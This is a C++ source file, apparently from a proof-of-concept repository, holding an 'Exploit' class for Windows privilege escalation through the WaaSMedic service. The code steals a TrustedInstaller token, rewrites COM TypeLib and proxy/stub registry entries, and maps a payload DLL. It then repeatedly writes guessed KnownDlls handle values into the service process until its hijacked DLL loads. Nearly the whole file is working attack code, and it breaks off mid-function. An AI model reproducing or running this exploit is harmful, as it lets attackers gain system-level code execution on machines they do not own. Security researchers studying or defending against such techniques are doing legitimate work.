| 1 | + | #include "Exploit.h" |
| 2 | + | #include "Utils.h" |
| 3 | + | #include "WaaSMedicClient.h" |
| 4 | + | #include "globaldef.h" |
| 5 | + | #include "resource.h" |
| 6 | + | #include <shlwapi.h> |
| 7 | + | |
| 8 | + | #pragma comment(lib, "Shlwapi.lib") |
| 9 | + | |
| 10 | + | Exploit::Exploit() |
| 11 | + | { |
| 12 | + | _BaseNamedObjectsHandle = 0; |
| 13 | + | _KnownDllDirectoryHandleAddr = 0; |
| 14 | + | _WaaSMedicSvcPid = 0; |
| 15 | + | _WaaSMedicCapsuleHandle = INVALID_HANDLE_VALUE; |
| 16 | + | _TiToken = NULL; |
| 17 | + | _DllSectionHandle = NULL; |
| 18 | + | _DummyDllFileHandle = NULL; |
| 19 | + | _ProxyStubDllLoadEventHandle = NULL; |
| 20 | + | _WaaSMedicCapsulePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); |
| 21 | + | _TypeLibPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); |
| 22 | + | _TypeLibOrigPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); |
| 23 | + | _TypeLibRegValuePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); |
| 24 | + | _ProxyStubOrigPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); |
| 25 | + | _ProxyStubRegValuePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); |
| 26 | + | _ProxyStubDllLoadEventName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); |
| 27 | + | _HollowedDllPath = NULL; |
| 28 | + | _HijackedDllName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); |
| 29 | + | _HijackedDllSectionPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); |
| 30 | + | _StatePluginDllLocked = FALSE; |
| 31 | + | _StateRegTypeLibModified = FALSE; |
| 32 | + | _StateTypeLibCreated = FALSE; |
| 33 | + | _StateRegProxyStubModified = FALSE; |
| 34 | + | } |
| 35 | + | |
| 36 | + | Exploit::~Exploit() |
| 37 | + | { |
| 38 | + | if (Utils::IsServiceRunning(STR_WAASMEDIC_SVC)) |
| 39 | + | Utils::StopServiceByName(STR_WAASMEDIC_SVC, TRUE); |
| 40 | + | |
| 41 | + | if (this->EnumerateTemporaryDirectories(&_TemporaryDiretoriesAfter)) |
| 42 | + | this->DeleteTemporaryDirectories(); |
| 43 | + | |
| 44 | + | this->RestoreProxyStubRegistryValue(); |
| 45 | + | this->RestoreTypeLibRegistryValue(); |
| 46 | + | this->UnmapPayloadDll(); |
| 47 | + | this->UnlockPluginDll(); |
| 48 | + | this->DeleteTypeLib(); |
| 49 | + | |
| 50 | + | Utils::SafeCloseHandle(&_TiToken); |
| 51 | + | Utils::SafeCloseHandle(&_WaaSMedicCapsuleHandle); |
| 52 | + | Utils::SafeCloseHandle(&_DummyDllFileHandle); |
| 53 | + | Utils::SafeCloseHandle(&_ProxyStubDllLoadEventHandle); |
| 54 | + | Utils::SafeFree((PVOID*)&_WaaSMedicCapsulePath); |
| 55 | + | Utils::SafeFree((PVOID*)&_TypeLibPath); |
| 56 | + | Utils::SafeFree((PVOID*)&_TypeLibOrigPath); |
| 57 | + | Utils::SafeFree((PVOID*)&_TypeLibRegValuePath); |
| 58 | + | Utils::SafeFree((PVOID*)&_ProxyStubOrigPath); |
| 59 | + | Utils::SafeFree((PVOID*)&_ProxyStubRegValuePath); |
| 60 | + | Utils::SafeFree((PVOID*)&_ProxyStubDllLoadEventName); |
| 61 | + | Utils::SafeFree((PVOID*)&_HollowedDllPath); |
| 62 | + | Utils::SafeFree((PVOID*)&_HijackedDllName); |
| 63 | + | Utils::SafeFree((PVOID*)&_HijackedDllSectionPath); |
| 64 | + | |
| 65 | + | for (LPWSTR pwszEntry : _TemporaryDiretoriesBefore) |
| 66 | + | Utils::SafeFree((PVOID*)&pwszEntry); |
| 67 | + | for (LPWSTR pwszEntry : _TemporaryDiretoriesAfter) |
| 68 | + | Utils::SafeFree((PVOID*)&pwszEntry); |
| 69 | + | } |
| 70 | + | |
| 71 | + | BOOL Exploit::Run() |
| 72 | + | { |
| 73 | + | BOOL bResult = FALSE; |
| 74 | + | WaaSMedicClient* WaaSMedic = nullptr; |
| 75 | + | DWORD i; |
| 76 | + | |
| 77 | + | if (!Utils::EnablePrivilege(SE_DEBUG_NAME)) |
| 78 | + | { |
| 79 | + | ERROR(L"Failed to enable privilege %ws.", SE_DEBUG_NAME); |
| 80 | + | goto cleanup; |
| 81 | + | } |
| 82 | + | |
| 83 | + | // |
| 84 | + | // If WaaSMedicSvc is running, stop it first and then start it. We want to make sure we are |
| 85 | + | // working in a "clean" environment. This is important to ensure that TaskSchdPS.dll is not |
| 86 | + | // already loaded. |
| 87 | + | // |
| 88 | + | |
| 89 | + | EXIT_ON_ERROR(!this->RestartWaaSMedicSvc()) |
| 90 | + | INFO(L"Service (re)started: %ws", STR_WAASMEDIC_SVC); |
| 91 | + | |
| 92 | + | // |
| 93 | + | // Determine the value of the \BaseNamedObjects directory handle in the WaaSMedic process. |
| 94 | + | // This will help us choose the strategy to adopt for the memory write. |
| 95 | + | // |
| 96 | + | |
| 97 | + | EXIT_ON_ERROR(!this->FindWaaSMedicSvcBaseNamedObjectsHandle()); |
| 98 | + | INFO("Directory handle value in remote process: 0x%04x", this->_BaseNamedObjectsHandle); |
| 99 | + | |
| 100 | + | // |
| 101 | + | // Create the TypeLib file, and modify the registry as TrustedInstaller to replace the |
| 102 | + | // original TypeLib file path. |
| 103 | + | // |
| 104 | + | |
| 105 | + | EXIT_ON_ERROR(!this->WriteTypeLib()); |
| 106 | + | EXIT_ON_ERROR(!this->ModifyTypeLibRegistryValue()); |
| 107 | + | INFO(L"TypeLib file created and set in the registry: %ws", this->GetTypeLibPath()); |
| 108 | + | |
| 109 | + | // |
| 110 | + | // Determine the address of the \KnownDlls directory handle. We need this information to |
| 111 | + | // know where to write in the target process. |
| 112 | + | // |
| 113 | + | |
| 114 | + | if (!Utils::GetKnownDllsHandleAddress(&this->_KnownDllDirectoryHandleAddr)) |
| 115 | + | { |
| 116 | + | ERROR(L"Failed to determine the address of LdrpKnownDllDirectoryHandle"); |
| 117 | + | goto cleanup; |
| 118 | + | } |
| 119 | + | INFO(L"Known DLL Directory handle @ 0x%llx", (DWORD64)this->_KnownDllDirectoryHandleAddr); |
| 120 | + | |
| 121 | + | // |
| 122 | + | // We will prepare the DLL hijacking of the 'TaskSchdPS.dll' DLL by 1. creating a section |
| 123 | + | // in the object manager for our own DLL with a random name in the \BaseNamedObjects |
| 124 | + | // directory, 2. modifying the registry to set this DLL as the Proxy Stub DLL for the |
| 125 | + | // ITaskHandler interface. |
| 126 | + | // |
| 127 | + | |
| 128 | + | EXIT_ON_ERROR(!this->MapPayloadDll()); |
| 129 | + | INFO(L"Section '%ws' created from file '%ws'", this->GetHijackedDllSectionPath(), this->_HollowedDllPath); |
| 130 | + | EXIT_ON_ERROR(!this->CreateDummyDllFile()); |
| 131 | + | EXIT_ON_ERROR(!this->ModifyProxyStubRegistryValue()); |
| 132 | + | INFO(L"Proxy/Stub DLL path set in the registry: %ws", this->GetHijackedDllName()); |
| 133 | + | |
| 134 | + | // |
| 135 | + | // The methods LaunchDetectionOnly and LaunchRemediationOnly both call the internal function |
| 136 | + | // LoadPluginLibrary, which ultimately calls the LoadLibrary(Ex) API. This API throws an |
| 137 | + | // exception if the KnownDlls handle is invalid. By locking the target DLL file, we can |
| 138 | + | // force the service to fail before calling LoadLibrary(Ex) and therefore avoid the crash. |
| 139 | + | // Another benefit is that it drastically increases the speed of the exploit. |
| 140 | + | // |
| 141 | + | |
| 142 | + | EXIT_ON_ERROR(!this->LockPluginDll()); |
| 143 | + | INFO(L"Plugin DLL file locked: %ws", this->GetWaaSMedicCapsulePath()); |
| 144 | + | |
| 145 | + | // |
| 146 | + | // Prepare synchronization. We create a global Event, and start a watcher thread that waits |
| 147 | + | // for it to be signaled in a loop. |
| 148 | + | // |
| 149 | + | |
| 150 | + | EXIT_ON_ERROR((this->_ProxyStubDllLoadEventHandle = CreateEventW(NULL, TRUE, FALSE, this->GetProxyStubDllLoadEventName())) == NULL); |
| 151 | + | |
| 152 | + | // |
| 153 | + | // Here we start writing random handle values where the \KnownDlls hande is normally stored in |
| 154 | + | // a loop. After each write, we attempt to create a remote TaskHandler object. When this object |
| 155 | + | // is created, the TaskSchdPS.dll DLL is loaded. So, if the handle value is correct, our version |
| 156 | + | // of TaskSchdPS.dll should be loaded (as a "Known DLL"). Otherwise, the handle is not valid and |
| 157 | + | // we repeat the operation until we succeed or we reach the maximum number of attempts. |
| 158 | + | // |
| 159 | + | |
| 160 | + | if (!this->EnumerateTemporaryDirectories(&_TemporaryDiretoriesBefore)) |
| 161 | + | WARNING(L"Failed to enumerate temporary directories."); |
| 162 | + | |
| 163 | + | WaaSMedic = new WaaSMedicClient(this->_KnownDllDirectoryHandleAddr, this->_BaseNamedObjectsHandle); |
| 164 | + | |
| 165 | + | EXIT_ON_ERROR(!WaaSMedic->WriteRemoteDllSearchPathFlag()); |
| 166 | + | SUCCESS(L"Remote DLL search path flag overwritten."); |
| 167 | + | |
| 168 | + | INFO(L"Trying to write a valid object directory handle..."); |
| 169 | + | |
| 170 | + | for (i = 0; i < MAX_ATTEMPTS; i++) |
| 171 | + | { |
| 172 | + | if ((i + 1) % 100 == 0) |
| 173 | + | INFO(L"Attempt %3d/%d (%d%%)", i + 1, MAX_ATTEMPTS, ((i + 1) * 100) / MAX_ATTEMPTS); |
| 174 | + | |
| 175 | + | EXIT_ON_ERROR(!WaaSMedic->WriteRemoteKnownDllHandle()); |
| 176 | + | |
| 177 | + | if (!WaaSMedic->CreateTaskHandlerInstance()) |
| 178 | + | { |
| 179 | + | if (!Utils::IsServiceRunning(STR_WAASMEDIC_SVC)) |
| 180 | + | { |
| 181 | + | WARNING(L"Service %ws is no longer running, it probably crashed because of an invalid handle value.", STR_WAASMEDIC_SVC); |
| 182 | + | goto cleanup; |
| 183 | + | } |
| 184 | + | } |
| 185 | + | |
| 186 | + | if (this->IsProxyStubDllLoaded()) |
| 187 | + | { |
| 188 | + | SUCCESS(L"Payload DLL successfully loaded after %d attempts!", i + 1); |
| 189 | + | bResult = TRUE; |
| 190 | + | break; |
| 191 | + | } |
| 192 | + | } |
| 193 | + | |
| 194 | + | if (i >= MAX_ATTEMPTS) |
| 195 | + | { |
| 196 | + | ERROR(L"Reached the maximum number of attempts."); |
| 197 | + | } |
| 198 | + | |
| 199 | + | cleanup: |
| 200 | + | this->RestoreProxyStubRegistryValue(); |
| 201 | + | this->RestoreTypeLibRegistryValue(); |
| 202 | + | |
| 203 | + | if (this->EnumerateTemporaryDirectories(&_TemporaryDiretoriesAfter)) this->DeleteTemporaryDirectories(); |
| 204 | + | if (WaaSMedic) delete WaaSMedic; |
| 205 | + | |
| 206 | + | DEBUG(L"Result: %d", bResult); |
| 207 | + | |
| 208 | + | return bResult; |
| 209 | + | } |
| 210 | + | |
| 211 | + | BOOL Exploit::Restore() |
| 212 | + | { |
| 213 | + | BOOL bResult = FALSE, bImpersonated = FALSE; |
| 214 | + | LPWSTR pwszProxyStubPath = NULL; |
| 215 | + | |
| 216 | + | EXIT_ON_ERROR(!(pwszProxyStubPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)))); |
| 217 | + | EXIT_ON_ERROR(!GetSystemDirectoryW(pwszProxyStubPath, MAX_PATH)); |
| 218 | + | |
| 219 | + | swprintf_s(pwszProxyStubPath, MAX_PATH, L"%ws\\%ws", pwszProxyStubPath, STR_TASKSCHD_TYPELIB_DEFAULT); |
| 220 | + | |
| 221 | + | EXIT_ON_ERROR(!this->ImpersonateTrustedInstaller()); |
| 222 | + | |
| 223 | + | bImpersonated = TRUE; |
| 224 | + | |
| 225 | + | EXIT_ON_ERROR(!Utils::SetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetTypeLibRegValuePath(), NULL, STR_WAASMEDIC_TYPELIB_DEFAULT)); |
| 226 | + | EXIT_ON_ERROR(!Utils::SetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetProxyStubRegValuePath(), NULL, this->GetProxyStubOrigPath())); |
| 227 | + | |
| 228 | + | bResult = TRUE; |
| 229 | + | |
| 230 | + | cleanup: |
| 231 | + | if (bImpersonated) this->RevertToSelf(); |
| 232 | + | Utils::SafeFree((PVOID*)&pwszProxyStubPath); |
| 233 | + | |
| 234 | + | return bResult; |
| 235 | + | } |
| 236 | + | |
| 237 | + | HANDLE Exploit::GetTiToken() |
| 238 | + | { |
| 239 | + | if (!this->_TiToken) |
| 240 | + | this->FindTrustedInstallerToken(); |
| 241 | + | |
| 242 | + | return this->_TiToken; |
| 243 | + | } |
| 244 | + | |
| 245 | + | DWORD Exploit::GetWaaSMedicSvcPid() |
| 246 | + | { |
| 247 | + | if (!this->_WaaSMedicSvcPid) |
| 248 | + | this->FindWaaSMedicSvcPid(); |
| 249 | + | |
| 250 | + | return this->_WaaSMedicSvcPid; |
| 251 | + | } |
| 252 | + | |
| 253 | + | LPWSTR Exploit::GetTypeLibPath() |
| 254 | + | { |
| 255 | + | if (!wcslen(this->_TypeLibPath)) |
| 256 | + | Utils::GenerateTempPath(this->_TypeLibPath); |
| 257 | + | |
| 258 | + | return this->_TypeLibPath; |
| 259 | + | } |
| 260 | + | |
| 261 | + | LPWSTR Exploit::GetTypeLibRegValuePath() |
| 262 | + | { |
| 263 | + | if (!wcslen(this->_TypeLibRegValuePath)) |
| 264 | + | this->FindTypeLibRegistryValuePath(); |
| 265 | + | |
| 266 | + | return this->_TypeLibRegValuePath; |
| 267 | + | } |
| 268 | + | |
| 269 | + | LPWSTR Exploit::GetTypeLibOrigPath() |
| 270 | + | { |
| 271 | + | LPWSTR pwszTypeLibPath = NULL; |
| 272 | + | |
| 273 | + | if (!wcslen(this->_TypeLibOrigPath)) |
| 274 | + | { |
| 275 | + | if (Utils::GetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetTypeLibRegValuePath(), NULL, &pwszTypeLibPath)) |
| 276 | + | { |
| 277 | + | swprintf_s(this->_TypeLibOrigPath, MAX_PATH, L"%ws", pwszTypeLibPath); |
| 278 | + | |
| 279 | + | if (pwszTypeLibPath) |
| 280 | + | LocalFree(pwszTypeLibPath); |
| 281 | + | } |
| 282 | + | } |
| 283 | + | |
| 284 | + | return this->_TypeLibOrigPath; |
| 285 | + | } |
| 286 | + | |
| 287 | + | LPWSTR Exploit::GetWaaSMedicCapsulePath() |
| 288 | + | { |
| 289 | + | |
| 290 | + | if (!wcslen(this->_WaaSMedicCapsulePath)) |
| 291 | + | this->FindWaaSMedicCapsulePath(); |
| 292 | + | |
| 293 | + | return this->_WaaSMedicCapsulePath; |
| 294 | + | } |
| 295 | + | |
| 296 | + | LPWSTR Exploit::GetProxyStubRegValuePath() |
| 297 | + | { |
| 298 | + | if (!wcslen(this->_ProxyStubRegValuePath)) |
| 299 | + | this->FindProxyStubRegistryValuePath(); |
| 300 | + | |
| 301 | + | return this->_ProxyStubRegValuePath; |
| 302 | + | } |
| 303 | + | |
| 304 | + | LPWSTR Exploit::GetProxyStubOrigPath() |
| 305 | + | { |
| 306 | + | LPWSTR pwszProxyStubPath = NULL; |
| 307 | + | |
| 308 | + | if (!wcslen(this->_ProxyStubOrigPath)) |
| 309 | + | { |
| 310 | + | if (Utils::GetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetProxyStubRegValuePath(), NULL, &pwszProxyStubPath)) |
| 311 | + | { |
| 312 | + | swprintf_s(this->_ProxyStubOrigPath, MAX_PATH, L"%ws", pwszProxyStubPath); |
| 313 | + | |
| 314 | + | Utils::SafeFree((PVOID*)&pwszProxyStubPath); |
| 315 | + | } |
| 316 | + | } |
| 317 | + | |
| 318 | + | return this->_ProxyStubOrigPath; |
| 319 | + | } |
| 320 | + | |
| 321 | + | LPWSTR Exploit::GetProxyStubDllLoadEventName() |
| 322 | + | { |
| 323 | + | if (!wcslen(this->_ProxyStubDllLoadEventName)) |
| 324 | + | { |
| 325 | + | swprintf_s(this->_ProxyStubDllLoadEventName, MAX_PATH, L"Global\\%ws", STR_IPC_WAASMEDIC_LOAD_EVENT_NAME); |
| 326 | + | } |
| 327 | + | |
| 328 | + | return this->_ProxyStubDllLoadEventName; |
| 329 | + | } |
| 330 | + | |
| 331 | + | LPWSTR Exploit::GetHijackedDllName() |
| 332 | + | { |
| 333 | + | if (!wcslen(this->_HijackedDllName)) |
| 334 | + | { |
| 335 | + | swprintf_s(this->_HijackedDllName, MAX_PATH, L"%ws", STR_HIJACKED_DLL_NAME); |
| 336 | + | } |
| 337 | + | |
| 338 | + | return this->_HijackedDllName; |
| 339 | + | } |
| 340 | + | |
| 341 | + | LPWSTR Exploit::GetHijackedDllSectionPath() |
| 342 | + | { |
| 343 | + | if (!wcslen(this->_HijackedDllSectionPath)) |
| 344 | + | { |
| 345 | + | swprintf_s(this->_HijackedDllSectionPath, MAX_PATH, L"\\%ws\\%ws", STR_BASENAMEDOBJECTS, this->GetHijackedDllName()); |
| 346 | + | } |
| 347 | + | |
| 348 | + | return this->_HijackedDllSectionPath; |
| 349 | + | } |
| 350 | + | |
| 351 | + | BOOL Exploit::RestartWaaSMedicSvc() |
| 352 | + | { |
| 353 | + | BOOL bResult = FALSE; |
| 354 | + | DWORD dwWaaSMedicStatus; |
| 355 | + | |
| 356 | + | EXIT_ON_ERROR(!Utils::GetServiceStatusByName(STR_WAASMEDIC_SVC, &dwWaaSMedicStatus)); |
| 357 | + | |
| 358 | + | if (dwWaaSMedicStatus == SERVICE_RUNNING) |
| 359 | + | { |
| 360 | + | INFO("%ws is running, stopping it...", STR_WAASMEDIC_SVC); |
| 361 | + | EXIT_ON_ERROR(!Utils::StopServiceByName(STR_WAASMEDIC_SVC, TRUE)); |
| 362 | + | } |
| 363 | + | |
| 364 | + | INFO("Starting service %ws...", STR_WAASMEDIC_SVC); |
| 365 | + | EXIT_ON_ERROR(!Utils::StartServiceByName(STR_WAASMEDIC_SVC, TRUE)); |
| 366 | + | |
| 367 | + | bResult = TRUE; |
| 368 | + | |
| 369 | + | cleanup: |
| 370 | + | DEBUG(L"Result: %d", bResult); |
| 371 | + | |
| 372 | + | if (!bResult) |
| 373 | + | ERROR(L"Failed to (re)start service %ws.", STR_WAASMEDIC_SVC); |
| 374 | + | |
| 375 | + | return bResult; |
| 376 | + | } |
| 377 | + | |
| 378 | + | BOOL Exploit::FindWaaSMedicSvcPid() |
| 379 | + | { |
| 380 | + | return Utils::GetServiceProcessId(STR_WAASMEDIC_SVC, &_WaaSMedicSvcPid); |
| 381 | + | } |
| 382 | + | |
| 383 | + | BOOL Exploit::LockPluginDll() |
| 384 | + | { |
| 385 | + | BOOL bResult = FALSE; |
| 386 | + | |
| 387 | + | if (!this->_StatePluginDllLocked) |
| 388 | + | { |
| 389 | + | EXIT_ON_ERROR((_WaaSMedicCapsuleHandle = CreateFileW(this->GetWaaSMedicCapsulePath(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE); |
| 390 | + | EXIT_ON_ERROR(!LockFile(_WaaSMedicCapsuleHandle, 0, 0, 4096, 0)); |
| 391 | + | |
| 392 | + | this->_StatePluginDllLocked = TRUE; |
| 393 | + | } |
| 394 | + | |
| 395 | + | bResult = TRUE; |
| 396 | + | |
| 397 | + | cleanup: |
| 398 | + | DEBUG(L"Lock: %d | Result: %d", this->_StatePluginDllLocked, bResult); |
| 399 | + | |
| 400 | + | if (!bResult) |
| 401 | + | ERROR(L"Failed to lock file: %ws", this->GetWaaSMedicCapsulePath()); |
| 402 | + | |
| 403 | + | return bResult; |
| 404 | + | } |
| 405 | + | |
| 406 | + | BOOL Exploit::UnlockPluginDll() |
| 407 | + | { |
| 408 | + | BOOL bResult = FALSE; |
| 409 | + | |
| 410 | + | if (this->_StatePluginDllLocked) |
| 411 | + | { |
| 412 | + | EXIT_ON_ERROR(!UnlockFile(_WaaSMedicCapsuleHandle, 0, 0, 4096, 0)); |
| 413 | + | this->_StatePluginDllLocked = FALSE; |
| 414 | + | } |
| 415 | + | |
| 416 | + | bResult = TRUE; |
| 417 | + | |
| 418 | + | cleanup: |
| 419 | + | DEBUG(L"Lock: %d | Result: %d", this->_StatePluginDllLocked, bResult); |
| 420 | + | |
| 421 | + | if (!bResult) |
| 422 | + | ERROR(L"Failed to unlock file: %ws", this->GetWaaSMedicCapsulePath()); |
| 423 | + | |
| 424 | + | return bResult; |
| 425 | + | } |
| 426 | + | |
| 427 | + | BOOL Exploit::FindWaaSMedicSvcBaseNamedObjectsHandle() |
| 428 | + | { |
| 429 | + | LPWSTR pwszFileVersion = NULL; |
| 430 | + | |
| 431 | + | if (!Utils::FindUniqueHandleValueByTypeName(this->GetWaaSMedicSvcPid(), L"Directory", &_BaseNamedObjectsHandle)) |
| 432 | + | { |
| 433 | + | if (Utils::GetFileVersion(STR_MOD_NTDLL, &pwszFileVersion)) |
| 434 | + | { |
| 435 | + | WARNING(L"NTDLL is probably not patched (current version: %ws)", pwszFileVersion); |
| 436 | + | Utils::SafeFree((PVOID*)&pwszFileVersion); |
| 437 | + | } |
| 438 | + | else |
| 439 | + | { |
| 440 | + | WARNING(L"NTDLL is probably not patched."); |
| 441 | + | } |
| 442 | + | |
| 443 | + | return FALSE; |
| 444 | + | } |
| 445 | + | |
| 446 | + | return TRUE; |
| 447 | + | } |
| 448 | + | |
| 449 | + | BOOL Exploit::FindTrustedInstallerToken() |
| 450 | + | { |
| 451 | + | // |
| 452 | + | // https://www.tiraniddo.dev/2017/08/the-art-of-becoming-trustedinstaller.html |
| 453 | + | // |
| 454 | + | |
| 455 | + | BOOL bResult = FALSE, bImpersonation = FALSE; |
| 456 | + | DWORD dwTiSvcStatus, dwTiSvcPid; |
| 457 | + | HANDLE hSnapshot = INVALID_HANDLE_VALUE, hThread = NULL; |
| 458 | + | THREADENTRY32 ThreadEntry; |
| 459 | + | SECURITY_QUALITY_OF_SERVICE Qos; |
| 460 | + | NTSTATUS status = STATUS_SUCCESS; |
| 461 | + | |
| 462 | + | EXIT_ON_ERROR(!Utils::EnablePrivilege(SE_DEBUG_NAME)); |
| 463 | + | EXIT_ON_ERROR(!Utils::EnablePrivilege(SE_IMPERSONATE_NAME)); |
| 464 | + | EXIT_ON_ERROR(!Utils::GetServiceStatusByName(STR_TI_SVC, &dwTiSvcStatus)); |
| 465 | + | |
| 466 | + | if (dwTiSvcStatus != SERVICE_RUNNING) |
| 467 | + | { |
| 468 | + | INFO(L"Starting service %ws...", STR_TI_SVC); |
| 469 | + | EXIT_ON_ERROR(!Utils::StartServiceByName(STR_TI_SVC, TRUE)); |
| 470 | + | } |
| 471 | + | |
| 472 | + | EXIT_ON_ERROR(!Utils::GetServiceProcessId(STR_TI_SVC, &dwTiSvcPid)); |
| 473 | + | EXIT_ON_ERROR((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)) == INVALID_HANDLE_VALUE); |
| 474 | + | |
| 475 | + | ZeroMemory(&ThreadEntry, sizeof(ThreadEntry)); |
| 476 | + | ThreadEntry.dwSize = sizeof(ThreadEntry); |
| 477 | + | |
| 478 | + | EXIT_ON_ERROR(!Thread32First(hSnapshot, &ThreadEntry)); |
| 479 | + | |
| 480 | + | do |
| 481 | + | { |
| 482 | + | if (ThreadEntry.th32OwnerProcessID == dwTiSvcPid) |
| 483 | + | { |
| 484 | + | if (hThread = OpenThread(THREAD_DIRECT_IMPERSONATION, FALSE, ThreadEntry.th32ThreadID)) |
| 485 | + | break; |
| 486 | + | } |
| 487 | + | |
| 488 | + | } while (Thread32Next(hSnapshot, &ThreadEntry)); |
| 489 | + | |
| 490 | + | ZeroMemory(&Qos, sizeof(Qos)); |
| 491 | + | Qos.Length = sizeof(Qos); |
| 492 | + | Qos.ImpersonationLevel = SecurityImpersonation; |
| 493 | + | |
| 494 | + | EXIT_ON_ERROR(!NT_SUCCESS(status = NtImpersonateThread(GetCurrentThread(), hThread, &Qos))); |
| 495 | + | |
| 496 | + | bImpersonation = TRUE; |
| 497 | + | |
| 498 | + | EXIT_ON_ERROR(!OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &_TiToken)); |
| 499 | + | |
| 500 | + | bResult = TRUE; |
| 501 | + | |
| 502 | + | cleanup: |
| 503 | + | if (bImpersonation) RevertToSelf(); |
| 504 | + | Utils::SafeCloseHandle(&hThread); |
| 505 | + | Utils::SafeCloseHandle(&hSnapshot); |
| 506 | + | Utils::SetLastErrorFromNtStatus(status); |
| 507 | + | |
| 508 | + | DEBUG(L"Result: %d", bResult); |
| 509 | + | |
| 510 | + | return bResult; |
| 511 | + | } |
| 512 | + | |
| 513 | + | BOOL Exploit::ImpersonateTrustedInstaller() |
| 514 | + | { |
| 515 | + | BOOL bResult = FALSE; |
| 516 | + | HANDLE hThread; |
| 517 | + | |
| 518 | + | hThread = GetCurrentThread(); |
| 519 | + | |
| 520 | + | EXIT_ON_ERROR(!SetThreadToken(&hThread, this->GetTiToken())); |
| 521 | + | |
| 522 | + | bResult = TRUE; |
| 523 | + | |
| 524 | + | cleanup: |
| 525 | + | DEBUG(L"Result: %d", bResult); |
| 526 | + | |
| 527 | + | return bResult; |
| 528 | + | } |
| 529 | + | |
| 530 | + | BOOL Exploit::RevertToSelf() |
| 531 | + | { |
| 532 | + | BOOL bResult = ::RevertToSelf(); |
| 533 | + | |
| 534 | + | DEBUG(L"Result: %d", bResult); |
| 535 | + | |
| 536 | + | return bResult; |
| 537 | + | } |
| 538 | + | |
| 539 | + | BOOL Exploit::WriteTypeLib() |
| 540 | + | { |
| 541 | + | BOOL bResult = FALSE; |
| 542 | + | |
| 543 | + | HRESULT hr = S_OK; |
| 544 | + | UINT i, j, cNames; |
| 545 | + | |
| 546 | + | ITypeLib* TypeLibOrig = NULL; |
| 547 | + | ITypeInfo* TypeInfoOrig = NULL; |
| 548 | + | TLIBATTR* pTLibAttrOrig = NULL; |
| 549 | + | TYPEATTR* pTypeAttrOrig = NULL; |
| 550 | + | FUNCDESC* pFuncDescOrig = NULL; |
| 551 | + | BSTR TypeLibName = NULL; |
| 552 | + | |
| 553 | + | ITypeLib* TypeLibRef = NULL; |
| 554 | + | ITypeInfo* TypeInfoRef = NULL; |
| 555 | + | HREFTYPE hRefType; |
| 556 | + | BSTR Names[8]; |
| 557 | + | |
| 558 | + | ICreateTypeLib2* TypeLibNew = NULL; |
| 559 | + | ICreateTypeInfo* TypeInfoNew = NULL; |
| 560 | + | ICreateTypeInfo* TypeInfoNew2 = NULL; |
| 561 | + | ELEMDESC ldoParams[2]; |
| 562 | + | ELEMDESC lroParams[3]; |
| 563 | + | |
| 564 | + | DEBUG(L"TypeLib file: %ws", this->GetTypeLibPath()); |
| 565 | + | |
| 566 | + | EXIT_ON_ERROR(FAILED(hr = LoadTypeLib(STR_WAASMEDIC_TYPELIB, &TypeLibOrig))); // Load the original TypeLib |
| 567 | + | EXIT_ON_ERROR(FAILED(hr = TypeLibOrig->GetLibAttr(&pTLibAttrOrig))); // Get attributes of the original TypeLib |
| 568 | + | EXIT_ON_ERROR(FAILED(hr = CreateTypeLib2(pTLibAttrOrig->syskind, this->GetTypeLibPath(), &TypeLibNew))); // Create a new TypeLib |
| 569 | + | |
| 570 | + | TypeLibNew->SetGuid(pTLibAttrOrig->guid); |
| 571 | + | TypeLibNew->SetLcid(pTLibAttrOrig->lcid); |
| 572 | + | TypeLibNew->SetVersion(pTLibAttrOrig->wMajorVerNum, pTLibAttrOrig->wMinorVerNum); |
| 573 | + | |
| 574 | + | // |
| 575 | + | // BEGIN: Write the IWaaSRemediationEx interface |
| 576 | + | // |
| 577 | + | |
| 578 | + | EXIT_ON_ERROR(FAILED(hr = TypeLibOrig->GetTypeInfoOfGuid(IID_WAASREMEDIATIONEX, &TypeInfoOrig))); // Get info about IWaaSRemediationEx interface |
| 579 | + | EXIT_ON_ERROR(FAILED(hr = TypeInfoOrig->GetTypeAttr(&pTypeAttrOrig))); // Get interface content |
| 580 | + | EXIT_ON_ERROR(FAILED(hr = TypeInfoOrig->GetDocumentation(MEMBERID_NIL, &TypeLibName, NULL, NULL, NULL))); // Get TypeLib name |
| 581 | + | EXIT_ON_ERROR(FAILED(hr = TypeLibNew->CreateTypeInfo(TypeLibName, TKIND_INTERFACE, &TypeInfoNew))); // Type: "dispatch" to "interface" |
| 582 | + | |
| 583 | + | TypeInfoNew->SetTypeFlags(TYPEFLAG_FHIDDEN | TYPEFLAG_FDUAL | TYPEFLAG_FNONEXTENSIBLE | TYPEFLAG_FOLEAUTOMATION); |
| 584 | + | TypeInfoNew->SetGuid(pTypeAttrOrig->guid); |
| 585 | + | TypeInfoNew->SetVersion(pTypeAttrOrig->wMajorVerNum, pTypeAttrOrig->wMinorVerNum); |
| 586 | + | |
| 587 | + | // Add references to implemented interfaces |
| 588 | + | for (i = 0; i < pTypeAttrOrig->cImplTypes; i++) |
| 589 | + | { |
| 590 | + | if (FAILED(hr = TypeInfoOrig->GetRefTypeOfImplType(i, &hRefType))) |
| 591 | + | continue; |
| 592 | + | |
| 593 | + | if (FAILED(hr = TypeInfoOrig->GetRefTypeInfo(hRefType, &TypeInfoRef))) |
